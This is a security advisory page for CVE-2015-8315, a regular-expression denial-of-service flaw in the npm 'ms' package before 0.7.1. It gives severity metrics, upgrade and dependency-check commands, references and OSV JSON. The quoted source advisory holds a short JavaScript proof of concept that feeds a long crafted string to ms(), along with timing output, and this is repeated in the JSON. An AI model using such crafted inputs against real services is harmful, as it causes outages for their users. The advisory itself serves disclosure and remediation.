CVE-2015-8315: Ms Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-3fx5-fwvr-xrjg
Share
CVSS 7.5
CWE-400 CWE-1333
Published
Advisory Summary

CVE-2015-8315 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Ms libraries in the npm ecosystem. The issue involves regular expression denial of service in ms. Remediation is available by upgrading affected packages to version 0.7.1.

CVE-2015-8315 at a Glance

CVE Identifier CVE-2015-8315
GHSA Identifier GHSA-3fx5-fwvr-xrjg
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Ms
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2015-8315

To remediate this vulnerability, upgrade all affected Ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ms fixed: 0.7.1 
npm install ms@0.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls ms

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2015-8315, inspect your project dependencies using npm:

npm ls ms

Analyze the terminal output to locate any version of Ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.1), your application is affected.

Note: The npm ls ms command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

CVE-2015-8315 Affected Ms Versions

1 component(s)
Fixed Versions:
0.7.1
Product / Package Ecosystem Affected Versions Fixed Version
ms
npm/ms
npm
< 0.7.1
0.7.1

References

NVD — CVE-2015-8315 NVD
https://nvd.nist.gov/vuln/detail/CVE-2015-8315
Ms Source Repository REPOSITORY
https://github.com/unshiftio/millisecond
Ms Security Information SECURITY
https://nodesecurity.io/advisories/46
support.f5.com/csp/article/k463376... WEB
https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp%3Butm_medium=RSS
support.f5.com/csp/article/k463376... WEB
https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp;utm_medium=RSS
Ms Security Information SECURITY
https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389
Ms Security Information SECURITY
http://www.openwall.com/lists/oss-security/2016/04/20/11
Ms Security Information SECURITY
http://www.securityfocus.com/bid/96389

Frequently Asked Questions

What is CVE-2015-8315?
CVE-2015-8315 is a security vulnerability in Ms involving Regular Expression Denial of Service in ms under CWE-400: Uncontrolled Resource Consumption.
Which Ms versions are affected?
Affected versions include releases prior to 0.7.1 across affected packages: ms.
What version fixes CVE-2015-8315?
Upgrading to 0.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ms affected?
Yes, ms is affected in releases prior to 0.7.1. Upgrade your dependency to 0.7.1 or later.
What is the CVSS score of CVE-2015-8315?
CVE-2015-8315 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2015-8315?
CVE-2015-8315 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2015-8315?
Run the dependency tree command: 'npm ls ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3fx5-fwvr-xrjg",
  "modified" : "2024-08-01T16:44:35Z",
  "published" : "2017-10-24T18:33:36Z",
  "aliases" : [ "CVE-2015-8315" ],
  "summary" : "Regular Expression Denial of Service in ms",
  "details" : "Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.7.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2015-8315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unshiftio/millisecond"
  }, {
    "type" : "WEB",
    "url" : "https://nodesecurity.io/advisories/46"
  }, {
    "type" : "WEB",
    "url" : "https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp%3Butm_medium=RSS"
  }, {
    "type" : "WEB",
    "url" : "https://support.f5.com/csp/article/K46337613?utm_source=f5support&amp;utm_medium=RSS"
  }, {
    "type" : "WEB",
    "url" : "https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2016/04/20/11"
  }, {
    "type" : "WEB",
    "url" : "http://www.securityfocus.com/bid/96389"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T20:55:05Z",
    "nvd_published_at" : "2017-01-23T21:59:00Z"
  }
}